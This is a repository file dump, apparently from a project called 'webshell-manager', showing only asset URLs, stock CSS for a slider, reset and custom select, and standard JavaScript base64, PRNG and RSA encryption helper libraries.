https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/star-icon-b.png -------------------------------------------------------------------------------- /UI/css/icons/tag-cloud.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/tag-cloud.png -------------------------------------------------------------------------------- /UI/css/icons/title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/title.png -------------------------------------------------------------------------------- /UI/css/icons/to-left-arrow-double.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/to-left-arrow-double.png -------------------------------------------------------------------------------- /UI/css/icons/to-left-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/to-left-arrow.png -------------------------------------------------------------------------------- /UI/css/icons/to-left-icon-black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/to-left-icon-black.png -------------------------------------------------------------------------------- /UI/css/icons/to-right-arrow-double.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/to-right-arrow-double.png -------------------------------------------------------------------------------- /UI/css/icons/to-right-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/to-right-arrow.png -------------------------------------------------------------------------------- /UI/css/icons/twitter-white-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/twitter-white-icon.png -------------------------------------------------------------------------------- /UI/css/icons/twitter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/twitter.png -------------------------------------------------------------------------------- /UI/css/icons/welcome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/welcome.png -------------------------------------------------------------------------------- /UI/css/img/ajax-loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/ajax-loader.gif -------------------------------------------------------------------------------- /UI/css/img/back-to-top.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/back-to-top.png -------------------------------------------------------------------------------- /UI/css/img/facebook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/facebook.png -------------------------------------------------------------------------------- /UI/css/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/favicon.ico -------------------------------------------------------------------------------- /UI/css/img/line-pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/line-pattern.png -------------------------------------------------------------------------------- /UI/css/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/logo.png -------------------------------------------------------------------------------- /UI/css/img/minus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/minus.png -------------------------------------------------------------------------------- /UI/css/img/plus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/plus.png -------------------------------------------------------------------------------- /UI/css/img/search-box.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/search-box.png -------------------------------------------------------------------------------- /UI/css/img/sideway-bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/sideway-bg.png -------------------------------------------------------------------------------- /UI/css/img/to-left-icon-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/to-left-icon-white.png -------------------------------------------------------------------------------- /UI/css/img/to-right-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/to-right-arrow.png -------------------------------------------------------------------------------- /UI/css/img/twitter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/twitter.png -------------------------------------------------------------------------------- /UI/css/img/vimeo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/img/vimeo.png -------------------------------------------------------------------------------- /UI/css/nivo.css: -------------------------------------------------------------------------------- 1 | /* 2 | * jQuery Nivo Slider v3.2 3 | * http://nivo.dev7studios.com 4 | * 5 | * Copyright 2012, Dev7studios 6 | * Free to use and abuse under the MIT license. 7 | * http://www.opensource.org/licenses/mit-license.php 8 | */ 9 | 10 | /* The Nivo Slider styles */ 11 | .nivoSlider { 12 | position:relative; 13 | width:100%; 14 | height:auto; 15 | overflow: hidden; 16 | } 17 | .nivoSlider img { 18 | position:absolute; 19 | top:0px; 20 | left:0px; 21 | max-width: none; 22 | } 23 | .nivo-main-image { 24 | display: block !important; 25 | position: relative !important; 26 | width: 100% !important; 27 | } 28 | 29 | /* If an image is wrapped in a link */ 30 | .nivoSlider a.nivo-imageLink { 31 | position:absolute; 32 | top:0px; 33 | left:0px; 34 | width:100%; 35 | height:100%; 36 | border:0; 37 | padding:0; 38 | margin:0; 39 | z-index:6; 40 | display:none; 41 | background:white; 42 | filter:alpha(opacity=0); 43 | opacity:0; 44 | } 45 | /* The slices and boxes in the Slider */ 46 | .nivo-slice { 47 | display:block; 48 | position:absolute; 49 | z-index:5; 50 | height:100%; 51 | top:0; 52 | } 53 | .nivo-box { 54 | display:block; 55 | position:absolute; 56 | z-index:5; 57 | overflow:hidden; 58 | } 59 | .nivo-box img { display:block; } 60 | 61 | /* Caption styles */ 62 | .nivo-caption { 63 | position:absolute; 64 | height: 40px; 65 | line-height: 40px; 66 | left:0px; 67 | bottom:0px; 68 | background:#000; 69 | color:#fff; 70 | width:100%; 71 | z-index:8; 72 | padding: 0; 73 | opacity: 0.8; 74 | overflow: hidden; 75 | display: none; 76 | -moz-opacity: 0.8; 77 | filter:alpha(opacity=8); 78 | -webkit-box-sizing: border-box; /* Safari/Chrome, other WebKit */ 79 | -moz-box-sizing: border-box; /* Firefox, other Gecko */ 80 | box-sizing: border-box; /* Opera/IE 8+ */ 81 | } 82 | .nivo-caption p { 83 | padding:5px; 84 | margin:0; 85 | } 86 | .nivo-caption a { 87 | display:inline !important; 88 | } 89 | .nivo-html-caption { 90 | display:none; 91 | } 92 | /* Direction nav styles (e.g. Next & Prev) */ 93 | .nivo-directionNav a { 94 | position:absolute; 95 | bottom: 0; 96 | z-index:9; 97 | cursor:pointer; 98 | background-position: center center; 99 | width: 40px; 100 | height: 40px; 101 | } 102 | .nivo-prevNav { 103 | right:40px; 104 | } 105 | .nivo-nextNav { 106 | right:0; 107 | } 108 | /* Control nav styles (e.g. 1,2,3...) */ 109 | .nivo-controlNav { 110 | text-align:center; 111 | padding: 15px 0; 112 | } 113 | .nivo-controlNav a { 114 | cursor:pointer; 115 | } 116 | .nivo-controlNav a.active { 117 | font-weight:bold; 118 | } -------------------------------------------------------------------------------- /UI/css/reset.css: -------------------------------------------------------------------------------- 1 | /* 2 | RESET - ADAPTED FROM MEYER RESET 3 | URL - http://meyerweb.com/eric/tools/css/reset/ 4 | LICENSE - PUBLIC DOMAIN 5 | */ 6 | 7 | /* RESET 8 | ----------------------------------------------------------------------------------------------------*/ 9 | a, abbr, acronym, address, applet, article, aside, audio, b, big, blockquote, body, caption, canvas, center, cite, code, 10 | dd, del, details, dfn, dialog, div, dl, dt, em, embed, fieldset, figcaption, figure, form, footer, header, hgroup, h1, h2, h3, h4, h5, h6, html, i, iframe, img, ins, kbd, label, legend, li, mark, menu, nav,object, ol, output, p, pre, q, ruby, s, samp, section, small, span, strike, strong, sub, summary, sup, tt, table, tbody, textarea, tfoot, thead, time, tr, th, td, u, ul, var, video { 11 | /*font-family: inherit;*/ 12 | font-size: 100%; 13 | font-weight: inherit; 14 | font-style: inherit; 15 | vertical-align: baseline; 16 | white-space: normal; 17 | margin: 0; 18 | padding: 0; 19 | border: 0; 20 | outline: 0; 21 | } 22 | 23 | article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { 24 | display: block; } 25 | 26 | ol, ul { list-style: none; } 27 | 28 | blockquote, q { quotes: none; } 29 | 30 | :focus { outline: 0; } 31 | 32 | table { 33 | border-collapse: collapse; 34 | border-spacing: 0; } -------------------------------------------------------------------------------- /UI/css/select/cs-select.css: -------------------------------------------------------------------------------- 1 | /* Default custom select styles */ 2 | div.cs-select { 3 | display: inline-block; 4 | vertical-align: middle; 5 | position: relative; 6 | text-align: left; 7 | background: #fff; 8 | z-index: 100; 9 | width: 100%; 10 | max-width: 500px; 11 | -webkit-touch-callout: none; 12 | -webkit-user-select: none; 13 | -khtml-user-select: none; 14 | -moz-user-select: none; 15 | -ms-user-select: none; 16 | user-select: none; 17 | } 18 | 19 | div.cs-select:focus { 20 | outline: none; /* For better accessibility add a style for this in your skin */ 21 | } 22 | 23 | .cs-select select { 24 | display: none; 25 | } 26 | 27 | .cs-select span { 28 | display: block; 29 | position: relative; 30 | cursor: pointer; 31 | padding: 0.7em; 32 | white-space: nowrap; 33 | overflow: hidden; 34 | text-overflow: ellipsis; 35 | } 36 | 37 | /* Placeholder and selected option */ 38 | .cs-select > span { 39 | padding-right: 3em; 40 | } 41 | 42 | .cs-select > span::after, 43 | .cs-select .cs-selected span::after { 44 | speak: none; 45 | position: absolute; 46 | top: 50%; 47 | -webkit-transform: translateY(-50%); 48 | transform: translateY(-50%); 49 | -webkit-font-smoothing: antialiased; 50 | -moz-osx-font-smoothing: grayscale; 51 | } 52 | 53 | .cs-select > span::after { 54 | content: '\25BE'; 55 | right: 1em; 56 | } 57 | 58 | .cs-select .cs-selected span::after { 59 | content: '\2713'; 60 | margin-left: 1em; 61 | } 62 | 63 | .cs-select.cs-active > span::after { 64 | -webkit-transform: translateY(-50%) rotate(180deg); 65 | transform: translateY(-50%) rotate(180deg); 66 | } 67 | 68 | /* Options */ 69 | .cs-select .cs-options { 70 | position: absolute; 71 | overflow: hidden; 72 | width: 100%; 73 | background: #fff; 74 | visibility: hidden; 75 | } 76 | 77 | .cs-select.cs-active .cs-options { 78 | visibility: visible; 79 | } 80 | 81 | .cs-select ul { 82 | list-style: none; 83 | margin: 0; 84 | padding: 0; 85 | width: 100%; 86 | } 87 | 88 | .cs-select ul span { 89 | padding: 1em; 90 | } 91 | 92 | .cs-select ul li.cs-focus span { 93 | background-color: #ddd; 94 | } 95 | 96 | /* Optgroup and optgroup label */ 97 | .cs-select li.cs-optgroup ul { 98 | padding-left: 1em; 99 | } 100 | 101 | .cs-select li.cs-optgroup > span { 102 | cursor: default; 103 | } 104 | -------------------------------------------------------------------------------- /UI/css/select/cs-skin-border.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'icomoon'; 3 | src:url('../../fonts/icomoon/icomoon.eot?-rdnm34'); 4 | src:url('../../fonts/icomoon/icomoon.eot?#iefix-rdnm34') format('embedded-opentype'), 5 | url('../../fonts/icomoon/icomoon.woff?-rdnm34') format('woff'), 6 | url('../../fonts/icomoon/icomoon.ttf?-rdnm34') format('truetype'), 7 | url('../../fonts/icomoon/icomoon.svg?-rdnm34#icomoon') format('svg'); 8 | font-weight: normal; 9 | font-style: normal; 10 | } 11 | 12 | div.cs-skin-border { 13 | background: transparent; 14 | font-weight: 700; 15 | min-width: 100px; 16 | font-size: medium; 17 | } 18 | 19 | @media screen and (max-width: 30em) { 20 | div.cs-skin-border { font-size: 1em; } 21 | } 22 | 23 | .cs-skin-border > span { 24 | color: white; 25 | background-color: #1DCC5D; 26 | -webkit-transition: background 0.2s; 27 | transition: background 0.2s; 28 | border-radius: 3px; 29 | } 30 | 31 | .cs-skin-border > span::after, 32 | .cs-skin-border .cs-selected span::after { 33 | font-family: 'icomoon'; 34 | content: '\e000'; 35 | } 36 | 37 | .cs-skin-border ul span::after { 38 | content: ''; 39 | opacity: 0; 40 | } 41 | 42 | .cs-skin-border .cs-selected span::after { 43 | content: '\e000'; 44 | color: #ddd9c9; 45 | font-size: 1.5em; 46 | opacity: 1; 47 | -webkit-transition: opacity 0.2s; 48 | transition: opacity 0.2s; 49 | } 50 | 51 | .cs-skin-border.cs-active > span { 52 | background: none repeat scroll 0% 0% #33A3CC; 53 | color: #FFF; 54 | border-radius: 3px 3px 0px 0px; 55 | } 56 | 57 | .cs-skin-border .cs-options { 58 | color: #FFF; 59 | font-size: 0.75em; 60 | opacity: 0; 61 | -webkit-transition: opacity 0.2s, visibility 0s 0.2s; 62 | transition: opacity 0.2s, visibility 0s 0.2s; 63 | } 64 | 65 | .cs-skin-border.cs-active .cs-options { 66 | opacity: 1; 67 | -webkit-transition: opacity 0.2s; 68 | transition: opacity 0.2s; 69 | border-radius: 0px 0px 3px 3px; 70 | } 71 | 72 | .cs-skin-border ul span { 73 | padding: 1em 2em; 74 | -webkit-backface-visibility: hidden; 75 | backface-visibility: hidden; 76 | background-color: #33A3CC; 77 | } 78 | 79 | .cs-skin-border .cs-options li span:hover, 80 | .cs-skin-border li.cs-focus span { 81 | background: #1DCC5D; 82 | } 83 | -------------------------------------------------------------------------------- /UI/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /UI/fonts/VarelaRound.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/VarelaRound.ttf -------------------------------------------------------------------------------- /UI/fonts/fontawesome-webfont-iefix.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/fontawesome-webfont-iefix.eot -------------------------------------------------------------------------------- /UI/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /UI/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /UI/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /UI/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /UI/fonts/icomoon/icomoon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/icomoon/icomoon.eot -------------------------------------------------------------------------------- /UI/fonts/icomoon/icomoon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/icomoon/icomoon.ttf -------------------------------------------------------------------------------- /UI/fonts/icomoon/icomoon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/fonts/icomoon/icomoon.woff -------------------------------------------------------------------------------- /UI/js/RSA/base64.js: -------------------------------------------------------------------------------- 1 | var b64map="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 2 | var b64pad="="; 3 | 4 | function hex2b64(h) { 5 | var i; 6 | var c; 7 | var ret = ""; 8 | for(i = 0; i+3 <= h.length; i+=3) { 9 | c = parseInt(h.substring(i,i+3),16); 10 | ret += b64map.charAt(c >> 6) + b64map.charAt(c & 63); 11 | } 12 | if(i+1 == h.length) { 13 | c = parseInt(h.substring(i,i+1),16); 14 | ret += b64map.charAt(c << 2); 15 | } 16 | else if(i+2 == h.length) { 17 | c = parseInt(h.substring(i,i+2),16); 18 | ret += b64map.charAt(c >> 2) + b64map.charAt((c & 3) << 4); 19 | } 20 | while((ret.length & 3) > 0) ret += b64pad; 21 | return ret; 22 | } 23 | 24 | // convert a base64 string to hex 25 | function b64tohex(s) { 26 | var ret = "" 27 | var i; 28 | var k = 0; // b64 state, 0-3 29 | var slop; 30 | for(i = 0; i < s.length; ++i) { 31 | if(s.charAt(i) == b64pad) break; 32 | v = b64map.indexOf(s.charAt(i)); 33 | if(v < 0) continue; 34 | if(k == 0) { 35 | ret += int2char(v >> 2); 36 | slop = v & 3; 37 | k = 1; 38 | } 39 | else if(k == 1) { 40 | ret += int2char((slop << 2) | (v >> 4)); 41 | slop = v & 0xf; 42 | k = 2; 43 | } 44 | else if(k == 2) { 45 | ret += int2char(slop); 46 | ret += int2char(v >> 2); 47 | slop = v & 3; 48 | k = 3; 49 | } 50 | else { 51 | ret += int2char((slop << 2) | (v >> 4)); 52 | ret += int2char(v & 0xf); 53 | k = 0; 54 | } 55 | } 56 | if(k == 1) 57 | ret += int2char(slop << 2); 58 | return ret; 59 | } 60 | 61 | // convert a base64 string to a byte/number array 62 | function b64toBA(s) { 63 | //piggyback on b64tohex for now, optimize later 64 | var h = b64tohex(s); 65 | var i; 66 | var a = new Array(); 67 | for(i = 0; 2*i < h.length; ++i) { 68 | a[i] = parseInt(h.substring(2*i,2*i+2),16); 69 | } 70 | return a; 71 | } 72 | -------------------------------------------------------------------------------- /UI/js/RSA/prng4.js: -------------------------------------------------------------------------------- 1 | // prng4.js - uses Arcfour as a PRNG 2 | 3 | function Arcfour() { 4 | this.i = 0; 5 | this.j = 0; 6 | this.S = new Array(); 7 | } 8 | 9 | // Initialize arcfour context from key, an array of ints, each from [0..255] 10 | function ARC4init(key) { 11 | var i, j, t; 12 | for(i = 0; i < 256; ++i) 13 | this.S[i] = i; 14 | j = 0; 15 | for(i = 0; i < 256; ++i) { 16 | j = (j + this.S[i] + key[i % key.length]) & 255; 17 | t = this.S[i]; 18 | this.S[i] = this.S[j]; 19 | this.S[j] = t; 20 | } 21 | this.i = 0; 22 | this.j = 0; 23 | } 24 | 25 | function ARC4next() { 26 | var t; 27 | this.i = (this.i + 1) & 255; 28 | this.j = (this.j + this.S[this.i]) & 255; 29 | t = this.S[this.i]; 30 | this.S[this.i] = this.S[this.j]; 31 | this.S[this.j] = t; 32 | return this.S[(t + this.S[this.i]) & 255]; 33 | } 34 | 35 | Arcfour.prototype.init = ARC4init; 36 | Arcfour.prototype.next = ARC4next; 37 | 38 | // Plug in your RNG constructor here 39 | function prng_newstate() { 40 | return new Arcfour(); 41 | } 42 | 43 | // Pool size must be a multiple of 4 and greater than 32. 44 | // An array of bytes the size of the pool will be passed to init() 45 | var rng_psize = 256; 46 | -------------------------------------------------------------------------------- /UI/js/RSA/rng.js: -------------------------------------------------------------------------------- 1 | // Random number generator - requires a PRNG backend, e.g. prng4.js 2 | 3 | // For best results, put code like 4 | // 5 | // in your main HTML document. 6 | 7 | var rng_state; 8 | var rng_pool; 9 | var rng_pptr; 10 | 11 | // Mix in a 32-bit integer into the pool 12 | function rng_seed_int(x) { 13 | rng_pool[rng_pptr++] ^= x & 255; 14 | rng_pool[rng_pptr++] ^= (x >> 8) & 255; 15 | rng_pool[rng_pptr++] ^= (x >> 16) & 255; 16 | rng_pool[rng_pptr++] ^= (x >> 24) & 255; 17 | if(rng_pptr >= rng_psize) rng_pptr -= rng_psize; 18 | } 19 | 20 | // Mix in the current time (w/milliseconds) into the pool 21 | function rng_seed_time() { 22 | rng_seed_int(new Date().getTime()); 23 | } 24 | 25 | // Initialize the pool with junk if needed. 26 | if(rng_pool == null) { 27 | rng_pool = new Array(); 28 | rng_pptr = 0; 29 | var t; 30 | if(navigator.appName == "Netscape" && navigator.appVersion < "5" && window.crypto) { 31 | // Extract entropy (256 bits) from NS4 RNG if available 32 | var z = window.crypto.random(32); 33 | for(t = 0; t < z.length; ++t) 34 | rng_pool[rng_pptr++] = z.charCodeAt(t) & 255; 35 | } 36 | while(rng_pptr < rng_psize) { // extract some randomness from Math.random() 37 | t = Math.floor(65536 * Math.random()); 38 | rng_pool[rng_pptr++] = t >>> 8; 39 | rng_pool[rng_pptr++] = t & 255; 40 | } 41 | rng_pptr = 0; 42 | rng_seed_time(); 43 | //rng_seed_int(window.screenX); 44 | //rng_seed_int(window.screenY); 45 | } 46 | 47 | function rng_get_byte() { 48 | if(rng_state == null) { 49 | rng_seed_time(); 50 | rng_state = prng_newstate(); 51 | rng_state.init(rng_pool); 52 | for(rng_pptr = 0; rng_pptr < rng_pool.length; ++rng_pptr) 53 | rng_pool[rng_pptr] = 0; 54 | rng_pptr = 0; 55 | //rng_pool = null; 56 | } 57 | // TODO: allow reseeding after first request 58 | return rng_state.next(); 59 | } 60 | 61 | function rng_get_bytes(ba) { 62 | var i; 63 | for(i = 0; i < ba.length; ++i) ba[i] = rng_get_byte(); 64 | } 65 | 66 | function SecureRandom() {} 67 | 68 | SecureRandom.prototype.nextBytes = rng_get_bytes; 69 | -------------------------------------------------------------------------------- /UI/js/RSA/rsa-pem.js: -------------------------------------------------------------------------------- 1 | // 2 | // rsa-pem.js - adding function for reading/writing PKCS#1 PEM private key 3 | // to RSAKey class. 4 | // 5 | // version: 1.0 (2010-Jun-03) 6 | // 7 | // Copyright (c) 2010 Kenji Urushima (kenji.urushima@gmail.com) 8 | // 9 | // This software is licensed under the terms of the MIT License. 10 | // http://www.opensource.org/licenses/mit-license.php 11 | // 12 | // The above copyright and license notice shall be 13 | // included in all copies or substantial portions of the Software. 14 | // 15 | // 16 | // Depends on: 17 | // 18 | // 19 | // 20 | // _RSApem_pemToBase64(sPEM) 21 | // 22 | // removing PEM header, PEM footer and space characters including 23 | // new lines from PEM formatted RSA private key string. 24 | // 25 | function _rsapem_pemToBase64(sPEMPrivateKey) { 26 | var s = sPEMPrivateKey; 27 | s = s.replace("-----BEGIN RSA PRIVATE KEY-----", ""); 28 | s = s.replace("-----END RSA PRIVATE KEY-----", ""); 29 | s = s.replace(/[ \n]+/g, ""); 30 | return s; 31 | } 32 | 33 | function _rsapem_getPosArrayOfChildrenFromHex(hPrivateKey) { 34 | var a = new Array(); 35 | var v1 = _asnhex_getStartPosOfV_AtObj(hPrivateKey, 0); 36 | var n1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, v1); 37 | var e1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, n1); 38 | var d1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, e1); 39 | var p1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, d1); 40 | var q1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, p1); 41 | var dp1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, q1); 42 | var dq1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, dp1); 43 | var co1 = _asnhex_getPosOfNextSibling_AtObj(hPrivateKey, dq1); 44 | a.push(v1, n1, e1, d1, p1, q1, dp1, dq1, co1); 45 | return a; 46 | } 47 | 48 | function _rsapem_getHexValueArrayOfChildrenFromHex(hPrivateKey) { 49 | var posArray = _rsapem_getPosArrayOfChildrenFromHex(hPrivateKey); 50 | var v = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[0]); 51 | var n = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[1]); 52 | var e = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[2]); 53 | var d = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[3]); 54 | var p = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[4]); 55 | var q = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[5]); 56 | var dp = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[6]); 57 | var dq = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[7]); 58 | var co = _asnhex_getHexOfV_AtObj(hPrivateKey, posArray[8]); 59 | var a = new Array(); 60 | a.push(v, n, e, d, p, q, dp, dq, co); 61 | return a; 62 | } 63 | 64 | function _rsapem_readPrivateKeyFromPEMString(keyPEM) { 65 | var keyB64 = _rsapem_pemToBase64(keyPEM); 66 | var keyHex = b64tohex(keyB64) // depends base64.js 67 | var a = _rsapem_getHexValueArrayOfChildrenFromHex(keyHex); 68 | this.setPrivateEx(a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8]); 69 | } 70 | 71 | RSAKey.prototype.readPrivateKeyFromPEMString = _rsapem_readPrivateKeyFromPEMString; 72 | -------------------------------------------------------------------------------- /UI/js/RSA/rsa.js: -------------------------------------------------------------------------------- 1 | // Depends on jsbn.js and rng.js 2 | 3 | // Version 1.1: support utf-8 encoding in pkcs1pad2 4 | 5 | // convert a (hex) string to a bignum object 6 | function parseBigInt(str,r) { 7 | return new BigInteger(str,r); 8 | } 9 | 10 | function linebrk(s,n) { 11 | var ret = ""; 12 | var i = 0; 13 | while(i + n < s.length) { 14 | ret += s.substring(i,i+n) + "\n"; 15 | i += n; 16 | } 17 | return ret + s.substring(i,s.length); 18 | } 19 | 20 | function byte2Hex(b) { 21 | if(b < 0x10) 22 | return "0" + b.toString(16); 23 | else 24 | return b.toString(16); 25 | } 26 | 27 | // PKCS#1 (type 2, random) pad input string s to n bytes, and return a bigint 28 | function pkcs1pad2(s,n) { 29 | if(n < s.length + 11) { // TODO: fix for utf-8 30 | alert("Message too long for RSA"); 31 | return null; 32 | } 33 | var ba = new Array(); 34 | var i = s.length - 1; 35 | while(i >= 0 && n > 0) { 36 | var c = s.charCodeAt(i--); 37 | if(c < 128) { // encode using utf-8 38 | ba[--n] = c; 39 | } 40 | else if((c > 127) && (c < 2048)) { 41 | ba[--n] = (c & 63) | 128; 42 | ba[--n] = (c >> 6) | 192; 43 | } 44 | else { 45 | ba[--n] = (c & 63) | 128; 46 | ba[--n] = ((c >> 6) & 63) | 128; 47 | ba[--n] = (c >> 12) | 224; 48 | } 49 | } 50 | ba[--n] = 0; 51 | var rng = new SecureRandom(); 52 | var x = new Array(); 53 | while(n > 2) { // random non-zero pad 54 | x[0] = 0; 55 | while(x[0] == 0) rng.nextBytes(x); 56 | ba[--n] = x[0]; 57 | } 58 | ba[--n] = 2; 59 | ba[--n] = 0; 60 | return new BigInteger(ba); 61 | } 62 | 63 | // "empty" RSA key constructor 64 | function RSAKey() { 65 | this.n = null; 66 | this.e = 0; 67 | this.d = null; 68 | this.p = null; 69 | this.q = null; 70 | this.dmp1 = null; 71 | this.dmq1 = null; 72 | this.coeff = null; 73 | } 74 | 75 | // Set the public key fields N and e from hex strings 76 | function RSASetPublic(N,E) { 77 | if(N != null && E != null && N.length > 0 && E.length > 0) { 78 | this.n = parseBigInt(N,16); 79 | this.e = parseInt(E,16); 80 | } 81 | else 82 | alert("Invalid RSA public key"); 83 | } 84 | 85 | // Perform raw public operation on "x": return x^e (mod n) 86 | function RSADoPublic(x) { 87 | return x.modPowInt(this.e, this.n); 88 | } 89 | 90 | // Return the PKCS#1 RSA encryption of "text" as an even-length hex string 91 | function RSAEncrypt(text) { 92 | var m = pkcs1pad2(text,(this.n.bitLength()+7)>>3); 93 | if(m == null) return null; 94 | var c = this.doPublic(m); 95 | if(c == null) return null; 96 | var h = c.toString(16); 97 | if((h.length & 1) == 0) return h; else return "0" + h; 98 | } 99 | 100 | // Return the PKCS#1 RSA encryption of "text" as a Base64-encoded string 101 | //function RSAEncryptB64(text) { 102 | // var h = this.encrypt(text); 103 | // if(h) return hex2b64(h); else return null; 104 | //} 105 | 106 | // protected 107 | RSAKey.prototype.doPublic = RSADoPublic; 108 | 109 | // public 110 | RSAKey.prototype.setPublic = RSASetPublic; 111 | RSAKey.prototype.encrypt = RSAEncrypt; 112 | 